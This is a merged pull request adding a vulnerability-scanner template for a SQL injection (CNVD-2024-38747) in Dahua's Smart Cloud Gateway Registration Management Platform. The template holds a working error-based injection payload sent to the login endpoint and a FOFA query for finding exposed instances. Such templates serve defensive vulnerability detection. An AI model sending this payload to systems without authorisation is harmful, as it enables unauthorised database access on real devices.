Merge pull request #11069 from Kazgangap/CNVD-2024-38747

add CNVD-2024-38747

http/cnvd/2024/CNVD-2024-38747.yaml

@@ -0,0 +1,34 @@
+id: CNVD-2024-38747
+
+info:
+  name: Zhejiang Dahua Smart Cloud Gateway Registration Platform - SQL Injection
+  author: s4e-io
+  severity: high
+  description: |
+    Zhejiang Dahua Technology Co., Ltd. Smart Cloud Gateway Registration Management Platform has a SQL injection vulnerability, which can be exploited by attackers to obtain sensitive database information.
+  reference:
+    - https://blog.csdn.net/qq_39894062/article/details/142982815
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: title="智能云网关注册管理平台"
+  tags: cnvd,cnvd2024,sqli,dahua
+
+variables:
+  num: "999999999"
+
+http:
+  - raw:
+      - |
+        POST /index.php/User/doLogin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        username=1')and+updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)--+&password=
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body,"md5({{num}})", "XPATH syntax error")'
+          - 'status_code == 404'
+        condition: and